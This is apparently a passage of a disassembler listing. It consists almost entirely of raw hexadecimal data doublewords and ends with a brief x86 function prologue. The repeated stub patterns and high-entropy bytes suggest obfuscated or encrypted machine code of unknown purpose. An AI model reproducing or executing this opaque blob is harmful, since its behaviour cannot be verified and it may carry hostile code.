6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0BCE7C353h, 0D788C7FBh dd 58D9D89h, 0E3810614h, 6F95F3FAh, 83DF8B66h, 141999BDh dd 840F0006h, 14h, 2B45958Bh, 95FF0614h, 6142CADh, 9D8B95B7h dd 6143069h, 24F1BD83h, 0F000614h, 1A84h, 0CE900h, 0C5B50000h dd 7E21B031h, 6240C8F9h, 95FF753Ch, 6140F7Dh, 83D88B66h dd 140905BDh, 840F0006h, 46h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0B9C35242h, 8AFCEF96h, 5379FA11h dd 0BDBD836Dh, 6142Ch, 14850Fh, 95230000h, 61434FDh, 3079958Bh dd 95FF0614h, 6140EFDh, 0BD83D78Ah, 6141D9Dh, 5C840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0E1CBC357h, 0F60FA7Ah, 682h, 7D9D8B00h dd 8006142Ch, 8161C0F5h, 141A4985h, 400306h, 81D38A00h dd 1430C185h, 400306h, 10800F00h, 0E9000000h, 0Bh, 0F92816D6h dd 8F4296C2h, 0F83C50Fh, 58D0F31h, 0BB000000h, 44A45547h dd 5C788D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0AC51FDC3h, 0FB749A87h, 2950935Fh dd 141B7D8Dh, 60018906h, 0ACD28166h, 31B589C6h, 61061420h dd 12E9C233h, 26000000h, 28F1F6Fh, 0EEC8E727h, 0B5EC866Eh dd 0CF5B1ECCh, 4418927h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 2FC35747h, 46F5B6EBh, 2C1D1952h, 0BE800h dd 84C40000h, 6060F13Bh, 1E63CAF9h, 0F19D8B60h, 5B061420h dd 6A310Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0C02BA6C3h, 6B6E0D71h, 0E8164671h dd 11h, 0D0C6C249h, 0FC2B52F8h, 19F62EA6h, 10D608B9h, 0D7B70F9Eh dd 0DD9D295Bh, 8D06140Ah, 145C848Dh, 49BD8906h, 8906141Dh dd 3DB58901h, 33061431h, 56006AC2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0BD8B9E9Eh, 7F2113D4h dd 23DA8B66h, 1423599Dh, 4418906h, 2820Fh, 1BB30000h, 2F41BD83h dd 0F000614h, 3184h, 0F3816600h, 0B52917EAh, 61402DDh dd 1FC195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 8DCECAC3h, 0BD832F26h, 6142401h dd 2E850F01h, 0FC000000h, 28E9h, 0D98D8900h, 8B06140Fh dd 145E29B5h, 6C706h, 8B000000h, 145BA0B5h, 6C706h, 0CF000000h dd 0A503E381h, 8B662D03h, 6DBD83D7h, 6140Dh, 18B840Fh dd 9D890000h, 61425E1h, 0BD83F88Ah, 6141BBDh, 45850F01h dd 9000001h, 141FE1BDh, 138D8B06h, 6A06144Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 3E00C356h, 6978EFD2h, 0D381667Ah, 958B472Bh, 6142F99h dd 6A0001C6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 6D86C350h, 735DE762h, 128B25FDh dd 0FE960h, 0A70E0000h, 0AABD9910h, 85CFA91Ch, 0BC3D95FAh dd 4E869h, 800000h, 52520000h, 5BD08B66h, 0B960505Bh, 13185AEDh dd 24448B61h, 800F04h, 8B000000h, 0CE8A6000h, 24448961h dd 81BA6604h, 0BD8958F9h, 6143169h, 6AFF6Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0CFCF13C3h dd 815765CBh, 32C1CFEBh, 0BBB35B58h, 352595FFh, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 81674DC3h, 618DD0E1h, 0F11958Bh, 95FF0614h, 6141669h dd 8BD88B66h, 14008195h, 138D8B06h, 6A06144Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 5193C351h, 0DD8AA06Ah, 0FEA572C9h, 0E4E68001h, 203DBD83h dd 0F010614h, 2485h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B90FBD7h, 14318595h dd 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0D63CC357h, 0B1BD83F5h, 61430h dd 0BD830975h, 6141AE1h, 501A7400h, 8BC08B53h, 141A4985h dd 49858906h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h dd 6141Ah, 53501874h, 1A49858Bh, 85890614h, 6141A49h, 0B4299D8Dh dd 0D3FF0616h, 0F56585Bh, 58Ch, 7101BA00h, 0E85A2D47h dd 0Dh, 0AFA9BCFDh, 9A8F470h, 935B822Dh, 138E0F6Ch, 0E9000000h dd 0Eh, 3FFF91Fh, 9F653618h, 0EF9932B2h, 8B5A16B9h, 0DB8166C0h dd 0BD831B1Fh, 6140D6Dh, 27850F00h, 8B000000h, 14033D95h dd 0E5BD8306h, 61419h, 14840Fh, 0FE90000h, 10000000h, 118BD202h dd 98F8E689h, 0C1165147h, 0BD8328AAh, 6140D6Dh, 19840F00h dd 89000000h, 1409E985h, 35BD8306h, 61425h, 6840Fh, 95330000h dd 6141501h, 0D6DBD83h, 0F000614h, 3384h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 9DF4E3B2h, 35BD83AAh, 61425h, 6840Fh, 85890000h, 6140539h dd 0D6DBD83h, 0F000614h, 1584h, 83DA8B00h, 140551BDh, 840F0006h dd 6, 2375958Bh, 0BD830614h, 6140D6Dh, 52840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0DDC4C350h, 10E952h, 800D0000h, 0A8A84D18h dd 0CF959CFDh, 0BE4F1A31h, 835B5B76h, 1404B9BDh, 840F0006h dd 11h, 0DBA6656h, 95FF5AB5h, 61404D5h, 0D88B6660h, 66C08B61h dd 8336E4BAh, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h dd 8B53501Ah, 0C1858BC0h, 89061430h, 1430C185h, 0A19D8D06h dd 0FF0616B7h, 83585BD3h, 141AE1BDh, 18740006h, 858B5350h dd 61430C1h, 30C18589h, 9D8D0614h, 616B442h, 585BD3FFh dd 1C31958Bh, 8B660614h, 31C08BD9h, 1419059Dh, 0ADB58906h dd 83061402h, 140D6DBDh, 840F0006h, 497h, 0FA19D8Bh, 0E2810614h dd 779FA672h, 1D51BD83h, 0F020614h, 3684h, 0FFBA6600h dd 1BD8355h, 1061424h, 25850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0FB56A2C3h dd 687BD5C1h, 60DEEE80h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0E8C35646h, 8EEFD8h, 93635580h, 6D9D01D4h dd 0BB06142Fh, 580F49A3h, 4D138D8Bh, 0B5890614h, 6142C35h dd 950101FEh, 6141475h, 4E8h, 8000h, 11E85300h, 4A000000h dd 96643E3Ah, 422482ACh, 33FFF85h, 393D80D8h, 5E8h, 0F687D800h dd 5A5A7E10h, 12E9505Ah, 53000000h, 0B4753F21h, 0B32C96E4h dd 0BAD2EB9Bh, 5FF4B5A4h, 24448B92h, 9E904h, 342F0000h dd 785ED287h, 8BE1286Eh, 0BA665700h, 895BF24Ah, 0E8042444h dd 5, 0C517AAA6h, 0D78B665Bh, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5ECA82C3h dd 0D1D1E6E0h, 0AEE28166h, 89FF6AA6h, 14261585h, 2595FF06h dd 6A061435h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0E56BC353h, 0C46238A3h, 0CB8166E0h dd 296140EBh, 142F299Dh, 0F5BD8D06h, 6A061412h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0A186C353h, 0E8604646h, 12h, 71567876h, 0A1E7864Bh dd 681C5BD5h, 0DFB1FB66h, 8B66D787h, 8D315ED0h, 6140D01h dd 1C4F8B61h, 74EB8166h, 60016A6Dh, 3850Fh, 0B70F0000h dd 0DE9DBh, 90B50000h, 7463E8D6h, 0FCE283C2h, 61E3680Fh dd 0A0BA6691h, 8B665008h, 6A91D1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 490E74C3h, 1B306D7Ch dd 8DD18B00h, 173E0685h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0E6D8B949h, 9D0BBB99h dd 61400B5h, 2CD99D8Bh, 0D0FF0614h, 6659509h, 4F8B0614h dd 69958920h, 6A06142Eh, 0E5958B03h, 50061402h, 89D38B66h dd 6A240Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD0902C3h, 614102Dh, 13AD9D8Bh, 0B70F0614h dd 6858DDAh, 8B06173Eh, 1423299Dh, 89D0FF06h, 1421658Dh dd 8DF38A06h, 1412F5BDh, 0DBB70F06h, 0F1C4F8Bh, 685h, 0B1BD8900h dd 6A061429h, 50D38B01h, 89D08B66h, 66FC240Ch, 858DD08Bh dd 6173E06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0CAC35040h, 0F78A6C7Eh, 8BE1BA66h, 13E8D0FFh, 0EB000000h dd 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh, 0F780755Fh dd 4F8B5AD4h, 919D8920h, 6A061411h, 57006A03h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 58EFB22Ah dd 0BE81Dh, 82260000h, 0D008E3E6h, 954A396Ah dd 0C19D898Dh, 5A061405h, 10E95091h, 48000000h, 11377253h dd 0FF4659Dh, 1147D850h, 91DFBF8Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 4FC35040h, 8F0FE734h, 0Dh dd 0F1816660h, 0B5233724h, 614030Dh, 6858D61h, 6A06173Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 399BC355h, 0DCFD68B9h, 1B7C2F3Ch, 46D9D03h dd 0D0FF0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0F5C35646h, 8BDA8B66h, 144D138Dh, 916DBB06h, 1FE3306h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F6C35040h dd 0CCDD5F65h, 0EC2B2286h, 31958B56h, 5B06142Ah, 4D13858Bh dd 0FE0614h, 5B98589h, 16A0614h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 8DC35343h, 8D297168h, 6140D69h dd 360E7668h, 0D78B66EDh, 89243481h, 6A12C991h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 4D64C355h, 238199BCh, 0D9838F86h, 1BFD9509h, 858D0614h dd 6173E10h, 83F5D0FFh, 1419E5BDh, 840F0006h, 106h, 159D8Bh dd 0BD830614h, 61412CDh, 0F3850F01h, 0E8000000h, 14h, 0EE8650BDh dd 0D66547DCh, 0F65D102Bh, 25D1524Eh, 70779CD7h, 5CF575BBh dd 8D8D5B22h, 6173E1Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 8BC35646h, 94FD70AEh, 0DCC686F8h, 60036A3Fh dd 0BF0F65B2h, 16A61D7h, 2EF1952Bh, 0D1FF0614h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8C35040h, 0B0387165h dd 9D8B182Eh, 614223Dh, 8EF5B860h, 800F695Bh, 6, 2C299D8Bh dd 6A610614h, 8E85301h, 0ED000000h, 0F05AF32Eh, 0BB579D3Bh dd 4958D0B4h, 16A5B5Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 73C35747h, 6850F60h, 89000000h, 140AFDB5h dd 858D8B06h, 61061430h, 9DBBD1FFh, 0E862DBB9h, 0FA476EB5h dd 0D899D8Bh, 206A0614h, 25398D31h, 0FF6A0614h, 8BEB8166h dd 94CA81FFh, 0FF5EA20Ah, 14352595h, 0B806h, 0BD890000h dd 61430ADh, 840FC00Bh, 2Ah, 0F659D8Bh, 0BD830614h, 6141A71h dd 17840F00h, 0FF000000h, 141DA995h, 0B880F06h, 0E9000000h dd 6, 0A21E157Ch, 858BFEA2h, 6142D01h, 6860Fh, 85890000h dd 61421A9h, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E84EC352h, 0Dh, 16BEEFh dd 0FCF60BB8h, 3EE39C43h, 0CD850953h, 5A06140Fh, 15BD9D89h dd 80580614h, 8C66A6D7h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C7AD5AAEh, 958B9C5Ah dd 614253Dh, 0F04C1F6h, 9184h, 0DEB70F00h, 0C91385BBh dd 84E942h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 807F86C3h, 0B58B76DEh, 6142421h dd 6E9h, 0B2C68400h, 81F6E873h, 1180C6h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 7BB258CCh, 6C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 8465ADC3h, 265FA83Ah dd 22F99503h, 0B35E0614h, 0F883C1h, 0B05840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0BD41DC3h, 1410B99Dh, 1F88306h, 186850Fh, 0BA660000h dd 0B8582Ah, 53000000h, 0F5B589h, 0B5A0614h, 0F5840FC0h dd 0F000000h, 680h, 399D2B00h, 8306142Ch, 840F01F8h, 0F3h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 75C35545h dd 0D68BC87Bh, 0D8E28166h, 3F88379h, 40840Fh, 958B0000h dd 61431EDh, 0B8h, 8DAAB200h, 5B89E0BDh, 6820F00h, 1000000h dd 14230D9Dh, 6AE7FF06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 80FBC357h, 1B8B4DEh dd 89000000h, 14109D95h, 0E0BD8D06h, 6A005B89h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0F57CC353h, 0E7FF3344h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 63C35747h, 0DF8DB139h, 1FC23803h, 9E938h dd 17CE0000h, 9CB5BC89h, 8B1D01EDh, 14086995h, 18E0F06h dd 0FC000000h, 439FBD8Dh, 8C0F0614h, 0 dd 291E9h, 0C7F38A00h, 144D6E85h, 506h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0D8BF0FB7h, 19D5BD89h, 5B80614h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 9BF0C355h, 899E9636h, 1430ADB5h, 8EAE906h, 950B0000h dd 6142BA1h, 0F02F883h, 0C885h, 7E800h, 0F5570000h, 939EF62Dh dd 5BD58A61h, 0B8h, 0BD8B6000h, 6142539h, 0FC00B61h, 6A84h dd 8D858900h, 83061419h, 840F01F8h, 0FFFFFF5Fh, 2635B529h dd 0F8830614h, 0CB840F03h, 89FFFFFEh, 14199D8Dh, 0B806h dd 9D8B0000h, 6142C99h, 89E0BD8Dh, 6A005Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6EB782C3h dd 0B742AE4Dh, 0CB8166AEh, 950B03A3h, 61421B9h, 6EBBE7FFh dd 8D307392h, 144597BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 33173DBEh, 140C8D95h dd 4D958906h, 0E9061405h, 15Eh, 0FE1F3FBBh, 3F88363h, 4D850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 3FEA11C3h, 7118D484h, 7E9h, 0CDDD6600h, 0BE9616CCh dd 8DDBBF0Fh, 14472BBDh, 6E906h, 86320000h, 0D7C0A1B8h dd 109E9h, 25952300h, 83061416h, 850F05F8h, 2Ah, 16799D03h dd 0A9E90614h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 6651C353h, 0F883DE8Bh dd 3D850F06h, 8B000000h, 23BD8DDFh, 6A061449h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0DA54C350h, 663F315Ah, 89AC98BAh, 142B3DBDh, 90E906h dd 8D310000h, 61413CDh, 0F07F883h, 3885h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 1D29BA3Ch, 0BD8D67DEh, 6141DB5h, 0E799D8Bh, 0BDE90614h dd 89000000h, 14319DBDh, 0AF88306h, 40850Fh, 0B5010000h dd 6142C91h, 4B1BBD8Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0C3B137C3h, 6E9h, 78F000h dd 0E980864Ah, 6, 1CD6F281h, 6A5719A6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F62C357h dd 85B9DAB7h, 660FF6FDh, 3F83D18Bh, 36840F00h, 3000000h dd 140F799Dh, 0F0F3006h, 0C8Eh, 6880F00h, 89000000h, 142FB98Dh dd 0BAC9D106h, 403078CEh, 0D0B70F47h, 0BB59529h, 0C7E90614h dd 1FFFFFFh, 142B319Dh, 95295F06h, 61419C9h, 4D17BD89h dd 9D890614h, 61416F5h, 8D8DD88Bh, 6140795h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0ACC35646h, 0C0BB6647h dd 0F9B5FFB6h, 6A06142Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 17C0C350h, 6EC387DBh dd 0BA561801h, 29A4C648h, 0BE85Bh, 80F90000h, 19983A54h dd 0D1C242FBh, 95BB6635h, 858D5B5Fh, 616A99Ah, 0FBBD8D50h dd 8D061453h, 146E318Dh, 1ABCB806h, 0CF2B5483h, 0C8D00730h dd 0F8754947h, 6D96B58Dh, 8D8D0614h, 6146E49h, 0A4F3CF2Bh dd 0B8C933h, 0B000000h, 834674C0h, 141A71BDh, 6740006h dd 1DA995FFh, 0B58B0614h, 6144D17h, 0A99A858Dh, 0D0FF0616h dd 432B858Dh, 0D0FF0614h, 349585C7h, 10614h, 0A58B0000h dd 6143505h, 2679B58Bh, 0AD8B0614h, 6142E29h, 0CC2C033h dd 0DBD8900h, 8A061421h, 71DB81DDh, 8352B5F9h, 142B95BDh dd 840F0006h, 58h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 16C35343h, 0B97AE6ABh, 66753A6Bh, 4B3BD281h dd 91195FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 127284C3h, 6E5B0F85h, 958BFCA9h dd 6140B81h, 3D9BD83h, 0F000614h, 1A285h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 994B62A9h, 0FEE49C76h, 83D8B70Fh, 1412CDBDh, 850F0106h dd 16Fh, 0BD83DA8Bh, 6143181h, 60840F00h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 7913C350h, 81A8871Ah, 57B803EBh, 6ABD837Fh, 6144Dh dd 12D840Fh, 0DE90000h, 6000000h, 8C92FA30h, 0DDA338CAh dd 0FA7EB0E8h, 0A99A858Dh, 6A0616h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 68BBA6C3h dd 0BE820E1Fh, 0F398DB3h, 82h, 17B58B00h, 8B06144Dh, 141C7195h dd 60D0FF06h, 22F58D8Bh, 0B52B0614h, 6141A55h, 5985C661h dd 5406141Ah, 0E09EBB50h, 685A752Ch, 0BB17B878h, 6E9h dd 0BE04A300h, 8172845Dh, 68C2434h, 6A4459h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 39BAF9C3h dd 0FA4DE27Ah, 0B70F9A8Dh, 45B5FFD8h, 6A061411h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8D0EC352h, 143B1385h, 25BA6606h, 89D0FF8Dh, 140D69BDh dd 80006A06h, 0B70FB5F2h, 9FF6AD3h, 141C999Dh, 8BD0FF06h dd 1404319Dh, 19B5FF06h, 89061432h, 1416DD85h, 0F995FF06h dd 6A06142Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 67CDC356h, 3D9D2B01h, 8B061419h dd 144D17B5h, 9605606h, 140C6585h, 0BE906h, 48020000h dd 6881010h, 5F38D6A0h, 0C35A6136h, 0D8F0Fh, 23600000h dd 142E2185h, 0E0816606h, 8B613207h, 142D01B5h, 6830F06h dd 89000000h, 140C898Dh, 0FF60B06h, 4A84h, 11850F00h, 60000000h dd 8E96160h, 0AD000000h, 4D044876h, 6159225Ch, 6A0006C6h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0F171C356h, 66B5DD5Eh, 5E9DE8Bh, 50000000h dd 596D0723h, 8951DA80h, 144D1F85h, 8A0F06h, 83000000h dd 840F00F8h, 2EFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 7FC35141h, 0FC3526C3h, 0C73F2308h, 60DDD680h dd 0B9DB533h, 0B8610614h, 0 dd 5C5BF281h, 952B512Eh, 6142B0Dh, 0F00F883h, 0A384h, 0DD9D8B00h dd 8306142Ah, 850F02F8h, 64h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 36C35242h, 6672DE6Eh, 0B331EB81h dd 32099503h, 858D0614h, 614439Ah, 292D95B3h, 8B000009h dd 14061995h, 0D88B9006h, 8E950h, 0F1630000h, 456AE418h dd 89903E8Eh, 14141D9Dh, 8960C306h, 1416718Dh, 1D858906h dd 6106142Fh, 0B8h, 0E9DE8B00h, 227h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 2DC35040h, 0B6308C60h, 0D68B6679h dd 1B8h, 13E800h, 0EF510000h, 0E5D48F01h, 28FE1076h, 37F18811h dd 3C8C0C46h, 5BB5B37Fh, 1876BB66h, 439FBD8Dh, 840F0614h dd 19h, 11E8h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh, 0C0E6E17Fh dd 0FE8AA4A2h, 0C9E95Bh, 0B70F0000h, 2F883D8h, 2C850Fh dd 0B5890000h, 6142E0Dh, 4597BD8Dh, 0BF0F0614h, 0A9E9D3h dd 13E90000h, 0E6000000h, 265A7117h, 0E979907Eh, 2EE4CC7Bh dd 0C681F244h, 0F8839AD5h, 38850F03h, 0F000000h, 0DF8BD9B7h dd 472BBD8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 728794C3h, 10931FA3h, 56E9h, 0D5853100h dd 83061402h, 850F05F8h, 47h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 8DC35646h, 0F45C7F43h, 0C406E464h dd 79950BC4h, 8B061410h, 14092D9Dh, 8EE906h, 9E80000h dd 0B9000000h, 28F4F0CDh, 1DF3A737h, 575AD38Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E8C35141h, 2A75BDF2h dd 6E3A9AB5h, 0ECA805Ah, 0F6FD85B9h, 87C6800Fh, 0F003F83h dd 4384h, 59958B00h, 3006142Ah, 12E80Fh, 7E550000h, 0D7550CC5h dd 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0C9D15AF5h, 0D58D8B60h dd 89061405h, 14005595h, 89476106h, 140D758Dh, 0FFBAE906h dd 8589FFFFh, 61429A9h, 0F05F883h, 6685h, 0B0EE8000h, 0B3D98C66h dd 4C1F6E3h, 45850Fh, 9D890000h, 6142561h, 0B8h, 59F28100h dd 0E95EB8E6h, 3Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 58C35747h, 0EFB658Ah, 8E93166h, 0D7000000h dd 0B87DF66Ah, 8BD07D9Eh, 14057185h, 0FFD5B606h, 859D29E0h dd 83061421h, 142EF9BDh, 850F0006h, 0C7h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 51C35040h, 909DB42Ch dd 93D414BAh, 5651501Eh, 80A555BAh, 905B5B42h, 0BE9h, 691FB900h dd 0FE9656C7h, 8A27AF56h, 1A5985C6h, 66450614h, 686331BBh dd 8BCE830Ch, 2820F50h, 57000000h, 4815B5Ah, 0A3E65D24h dd 0FFA6B202h, 141145B5h, 50E28106h, 8D6E762Dh, 143B1385h dd 0D0FFF906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0D0C35747h, 2EF98589h, 8B600614h, 14211585h, 6A586106h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2B74C352h, 0A99D318Eh, 83061414h, 144D6EBDh dd 840F0006h, 3Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 7AC35141h, 0FCF9BA39h, 3219B5FFh, 0B5890614h dd 6140105h, 14A1BD09h, 95FF0614h, 6142EF9h, 0D699589h dd 0F8830614h, 1850F00h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 4641C356h dd 0A437AFE6h, 0DE97C10h, 83000000h, 9D807870h, 0C4C9E7DEh dd 3B8C8C1h, 226D9D89h, 0BD830614h, 6141A99h, 53840F00h dd 0B3000000h, 99B5FFC4h, 0F806141Ah, 1B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 2FAE5055h, 0CE8h, 17DC1E00h, 2732A817h, 0DFF1A057h dd 0D19D8BC7h, 5A061416h, 1111B589h, 0A2E90614h, 0F000001h dd 0B5FFDBB7h, 6143219h, 19810Fh, 14E90000h, 0FC000000h dd 29C9C20Ah, 619D3521h, 0AF052D4Ah, 6FF67C1Ch, 0FF294E6Fh dd 143219B5h, 0E98D0106h, 0FF061401h, 142EF9B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0BDDA4904h, 8A79EE2Dh, 13FE9D4h, 9D330000h, 61420F1h dd 0D38B665Fh, 2C1BD83h, 0F000614h, 8C85h, 21958B00h, 0C606141Ah dd 141A5985h, 60574D06h, 3C6EBB66h, 5B61C28Bh, 21A96068h dd 81F48A93h, 0CD482404h, 0BD291113h, 6140665h, 931B5FFh dd 0FE90614h, 6C000000h, 9B350F7Fh, 0B004CD05h, 60EA781Ah dd 858DA2E3h, 6143B13h, 0D0FF86B6h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0F1C35040h, 2ACD9D8Bh, 7E90614h dd 51000000h, 0C40E09DBh, 85898A0Ch, 61402C1h, 22F99589h dd 0F7800614h, 0B85Bh, 0ACBB0000h, 892BFF74h, 144D17BDh dd 55958B06h, 0B7061400h, 0FC00B9Bh, 3084h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 5AE977B7h, 60000000h, 0F58D89h, 0B58B0614h, 614022Dh dd 0F9B5FF61h, 6A06142Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 57DCC351h, 58C0F3Fh dd 0BA000000h, 41412E2Ah, 0FD950Bh, 858D0614h, 616A99Ah dd 9077D680h, 50D78B66h, 0E420BA66h, 39BA6690h, 8D565077h dd 1453FBBDh, 0CF8D8D06h, 0B8061477h, 748323BCh, 730CF2Bh dd 4947C8D0h, 585EF875h, 1A99BD83h, 74000614h, 0C18D8B06h dd 33061423h, 0B8C9h, 0C00B0000h, 0A8840Fh, 0BD830000h dd 6141A71h, 0FF067400h, 141DA995h, 0B806h, 0C00B0000h dd 0BD830975h, 6144D1Fh, 83097401h, 144D1FBDh, 0E750206h dd 4D17B58Bh, 858D0614h, 616A99Ah, 0BD83D0FFh, 6142B95h dd 0FF067400h, 14091195h, 2B858D06h, 0FF061443h, 51BD83D0h dd 206141Dh, 0A58B2F75h, 6143505h, 1A99858Bh, 4890614h dd 9585C724h, 1061434h, 8B000000h, 144D1BB5h, 29AD8B06h dd 0B806142Eh, 1, 0EB000CC2h, 9585C700h, 1061434h, 8B000000h dd 143505A5h, 79B58B06h, 8B061426h, 142E29ADh, 0C2C03306h dd 0BD83000Ch, 6142B95h, 830F7400h, 140911BDh, 6740006h dd 91195FFh, 0B58B0614h, 6144D17h, 6CE281C3h, 8B2F2DDFh dd 89D22BD6h, 1401BD9Dh db 6 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5504BD ; --------------------------------------------------------------------------- 